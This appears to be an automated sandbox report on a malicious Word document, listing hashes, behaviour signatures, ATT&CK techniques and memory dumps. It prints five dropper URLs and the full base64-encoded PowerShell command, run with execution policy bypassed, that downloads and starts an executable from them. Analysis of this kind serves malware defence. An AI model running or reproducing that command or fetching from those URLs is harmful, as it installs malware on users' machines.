9de70af07f1659f32c9e7aeb00a61ba1b1ca8e7985f1d5a3cc4197f67e8675b6

General

Target

1e35156777f498663f05a328abcfba80_JaffaCakes118.doc
Size

123KB
MD5

1e35156777f498663f05a328abcfba80
SHA1

392937c8a098fcdca9d9cae58a5a05ec657f485f
SHA256

9de70af07f1659f32c9e7aeb00a61ba1b1ca8e7985f1d5a3cc4197f67e8675b6
SHA512

d259c69c274a7be8d768b426713336330b62bf94b836abcf38d4a5eeea24283242610b36ae7e488234482c73f2a76e6b98ea04603b2a13c68ef12c1b8acba0ef
SSDEEP

3072:S77HUUUUUUUUUUUUUUUUUUUTkOQePu5U8q/tr0mTOl:S77HUUUUUUUUUUUUUUUUUUUT52V8r0m6

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://atlanticsg.com/wp-includes/fsfrz22_mkp29qlby-69478/

exe.dropper

http://eastpennlandscape.com/css/qhJUtdBFvM/

exe.dropper

http://mcs-interiors.co.uk/cgi-bin/MUbadZUIXD/

exe.dropper

http://laderajabugo.navicu.com/wp-admin/6ohv5j_6m40d-4652183/

exe.dropper

http://banphongresort.com/wp-includes/8hxbg02o_wkpvf-27459009/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1404	3880	powershell.exe

Blocklisted process makes network request 3 IoCs

Processes:

powershell.exe

flow pid process

26 1404 powershell.exe
33 1404 powershell.exe
38 1404 powershell.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

1404 powershell.exe

flow	pid	process
26	1404	powershell.exe
33	1404	powershell.exe
38	1404	powershell.exe

pid	process
1404	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

3980 WINWORD.EXE
3980 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

1404 powershell.exe
1404 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1404 powershell.exe
Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

WINWORD.EXE

pid process

3980 WINWORD.EXE
3980 WINWORD.EXE
3980 WINWORD.EXE
3980 WINWORD.EXE
3980 WINWORD.EXE
3980 WINWORD.EXE
3980 WINWORD.EXE

pid	process
3980	WINWORD.EXE
3980	WINWORD.EXE

pid	process
1404	powershell.exe
1404	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1404	powershell.exe

pid	process
3980	WINWORD.EXE
3980	WINWORD.EXE
3980	WINWORD.EXE
3980	WINWORD.EXE
3980	WINWORD.EXE
3980	WINWORD.EXE
3980	WINWORD.EXE

Suspicious use of WriteProcessMemory 2 IoCs

Processes:

WINWORD.EXE

description	pid	process	target process
PID 3980 wrote to memory of 5076	3980	WINWORD.EXE	splwow64.exe
PID 3980 wrote to memory of 5076	3980	WINWORD.EXE	splwow64.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\1e35156777f498663f05a328abcfba80_JaffaCakes118.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3980

C:\Windows\splwow64.exe
C:\Windows\splwow64.exe 12288
2⤵
PID:5076

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ExecutionPolicy bypass -noprofile -e JABRAG4AZgB6AGoASAB3AD0AJwBGAGkAcQBMAGwAdwAnADsAJABOAGwATQBJAGQAawAgAD0AIAAnADcAMAA2ACcAOwAkAHcAcwBOAGQAMAA1AD0AJwBYAGgAUgBpAGkATwBQAGwAJwA7ACQAdQBVAEkARQBPAGYAMgB6AD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABOAGwATQBJAGQAawArACcALgBlAHgAZQAnADsAJABaAEUAdwBCAFIAUwBPAD0AJwBuAEYAcAB6AGkAdwAnADsAJABUAHAAUwA0ADYAcwA9AC4AKAAnAG4AZQB3ACcAKwAnAC0AJwArACcAbwBiAGoAZQBjAHQAJwApACAAbgBgAGUAdABgAC4AdwBFAGIAQwBgAGwASQBFAE4AdAA7ACQARAB3AGIAOQB6AHMAVwA9ACcAaAB0AHQAcABzADoALwAvAGEAdABsAGEAbgB0AGkAYwBzAGcALgBjAG8AbQAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAGYAcwBmAHIAegAyADIAXwBtAGsAcAAyADkAcQBsAGIAeQAtADYAOQA0ADcAOAAvAEAAaAB0AHQAcAA6AC8ALwBlAGEAcwB0AHAAZQBuAG4AbABhAG4AZABzAGMAYQBwAGUALgBjAG8AbQAvAGMAcwBzAC8AcQBoAEoAVQB0AGQAQgBGAHYATQAvAEAAaAB0AHQAcAA6AC8ALwBtAGMAcwAtAGkAbgB0AGUAcgBpAG8AcgBzAC4AYwBvAC4AdQBrAC8AYwBnAGkALQBiAGkAbgAvAE0AVQBiAGEAZABaAFUASQBYAEQALwBAAGgAdAB0AHAAOgAvAC8AbABhAGQAZQByAGEAagBhAGIAdQBnAG8ALgBuAGEAdgBpAGMAdQAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8ANgBvAGgAdgA1AGoAXwA2AG0ANAAwAGQALQA0ADYANQAyADEAOAAzAC8AQABoAHQAdABwADoALwAvAGIAYQBuAHAAaABvAG4AZwByAGUAcwBvAHIAdAAuAGMAbwBtAC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8AOABoAHgAYgBnADAAMgBvAF8AdwBrAHAAdgBmAC0AMgA3ADQANQA5ADAAMAA5AC8AJwAuAHMAUABsAEkAdAAoACcAQAAnACkAOwAkAEIAUwAyAHAAbQA1AHQAPQAnAGgAegBuAFUAYQBsACcAOwBmAG8AcgBlAGEAYwBoACgAJABHAGkAbQA4AHoAXwBHAFIAIABpAG4AIAAkAEQAdwBiADkAegBzAFcAKQB7AHQAcgB5AHsAJABUAHAAUwA0ADYAcwAuAEQAbwBXAE4ATABPAEEAZABmAEkATABFACgAJABHAGkAbQA4AHoAXwBHAFIALAAgACQAdQBVAEkARQBPAGYAMgB6ACkAOwAkAEwAUQBYADYAYQA2AD0AJwBoAEoAcwB6AHMAdwAnADsASQBmACAAKAAoAC4AKAAnAEcAZQB0AC0AJwArACcASQB0AGUAJwArACcAbQAnACkAIAAkAHUAVQBJAEUATwBmADIAegApAC4ATABFAE4ARwB0AEgAIAAtAGcAZQAgADMAMwA2ADkAOQApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAcwB0AEEAcgB0ACgAJAB1AFUASQBFAE8AZgAyAHoAKQA7ACQATABTAEkAMwA0AEsARgA9ACcAaABjAEgANwBWAGYAJwA7AGIAcgBlAGEAawA7ACQATwBoADUAdABtAFkAbQA9ACcAbgBBADQAaQAyAEcAYQB1ACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFoAWQBVAEYAUwBqAD0AJwBvAEcAcwB3AE4AdQAnAA==
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1404

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\3B7CC5AD.wmf
Filesize
444B

MD5
29b9e33258fa8710be1a7ea3fdf48bf1

SHA1
ec2e53f2450865491bcd99f0798bb533174a2db3

SHA256
5597b507e2e2cea8a34768bd72cfeae1be0b3ff6bb38a083694c0aec2d5a4a6b

SHA512
bc83c04fdbad78b7c21432d51ae80c3992fbc3e425e05cde1a341df14419e29d155de675828faf0969775f904c64cde360a1c94f22f016796cc8548fe4d279a0

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\7F797F07.wmf
Filesize
444B

MD5
8202c9465c425ee33b9dc245b662f078

SHA1
b4b11302c6ea8873a4aa98e022f3f44c7f5db247

SHA256
1470b60e45ba67db8c865b1e17bf4506f74b34b894a13658a73d9c023257d09b

SHA512
aa0a590ef0a933f23290c3c4339943a576c64425ea9f4d1c0966e6768d8dd6ecd1586ffb77879ac46e786753256053464b3becea581d46a3048d98c9b0297d67

Download Submit
C:\Users\Admin\AppData\Local\Temp\TCD9911.tmp\iso690.xsl
Filesize
263KB

MD5
ff0e07eff1333cdf9fc2523d323dd654

SHA1
77a1ae0dd8dbc3fee65dd6266f31e2a564d088a4

SHA256
3f925e0cc1542f09de1f99060899eafb0042bb9682507c907173c392115a44b5

SHA512
b4615f995fab87661c2dbe46625aa982215d7bde27cafae221dca76087fe76da4b4a381943436fcac1577cb3d260d0050b32b7b93e3eb07912494429f126bb3d

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wewy3kts.bs5.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1404-55-0x00000191389A0000-0x00000191389C2000-memory.dmp

Filesize
136KB

Download
memory/3980-8-0x00007FFB079F0000-0x00007FFB07BE5000-memory.dmp

Filesize
2.0MB

Download
memory/3980-17-0x00007FFB079F0000-0x00007FFB07BE5000-memory.dmp

Filesize
2.0MB

Download
memory/3980-7-0x00007FFB079F0000-0x00007FFB07BE5000-memory.dmp

Filesize
2.0MB

Download
memory/3980-0-0x00007FFAC7A70000-0x00007FFAC7A80000-memory.dmp

Filesize
64KB

Download
memory/3980-11-0x00007FFB079F0000-0x00007FFB07BE5000-memory.dmp

Filesize
2.0MB

Download
memory/3980-12-0x00007FFAC5110000-0x00007FFAC5120000-memory.dmp

Filesize
64KB

Download
memory/3980-10-0x00007FFB079F0000-0x00007FFB07BE5000-memory.dmp

Filesize
2.0MB

Download
memory/3980-9-0x00007FFB079F0000-0x00007FFB07BE5000-memory.dmp

Filesize
2.0MB

Download
memory/3980-13-0x00007FFB079F0000-0x00007FFB07BE5000-memory.dmp

Filesize
2.0MB

Download
memory/3980-14-0x00007FFB079F0000-0x00007FFB07BE5000-memory.dmp

Filesize
2.0MB

Download
memory/3980-16-0x00007FFB079F0000-0x00007FFB07BE5000-memory.dmp

Filesize
2.0MB

Download
memory/3980-15-0x00007FFAC5110000-0x00007FFAC5120000-memory.dmp

Filesize
64KB

Download
memory/3980-20-0x00007FFB079F0000-0x00007FFB07BE5000-memory.dmp

Filesize
2.0MB

Download
memory/3980-19-0x00007FFB079F0000-0x00007FFB07BE5000-memory.dmp

Filesize
2.0MB

Download
memory/3980-18-0x00007FFB079F0000-0x00007FFB07BE5000-memory.dmp

Filesize
2.0MB

Download
memory/3980-1-0x00007FFB07A8D000-0x00007FFB07A8E000-memory.dmp

Filesize
4KB

Download
memory/3980-2-0x00007FFAC7A70000-0x00007FFAC7A80000-memory.dmp

Filesize
64KB

Download
memory/3980-3-0x00007FFAC7A70000-0x00007FFAC7A80000-memory.dmp

Filesize
64KB

Download
memory/3980-4-0x00007FFB079F0000-0x00007FFB07BE5000-memory.dmp

Filesize
2.0MB

Download
memory/3980-5-0x00007FFAC7A70000-0x00007FFAC7A80000-memory.dmp

Filesize
64KB

Download
memory/3980-6-0x00007FFAC7A70000-0x00007FFAC7A80000-memory.dmp

Filesize
64KB

Download
memory/3980-527-0x00007FFB07A8D000-0x00007FFB07A8E000-memory.dmp

Filesize
4KB

Download
memory/3980-553-0x00007FFB079F0000-0x00007FFB07BE5000-memory.dmp

Filesize
2.0MB

Download
memory/3980-554-0x00007FFB079F0000-0x00007FFB07BE5000-memory.dmp

Filesize
2.0MB

Download
memory/3980-583-0x00007FFAC7A70000-0x00007FFAC7A80000-memory.dmp

Filesize
64KB

Download
memory/3980-584-0x00007FFAC7A70000-0x00007FFAC7A80000-memory.dmp

Filesize
64KB

Download
memory/3980-586-0x00007FFAC7A70000-0x00007FFAC7A80000-memory.dmp

Filesize
64KB

Download
memory/3980-585-0x00007FFAC7A70000-0x00007FFAC7A80000-memory.dmp

Filesize
64KB

Download
memory/3980-587-0x00007FFB079F0000-0x00007FFB07BE5000-memory.dmp

Filesize
2.0MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v13

Replay Monitor

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Downloads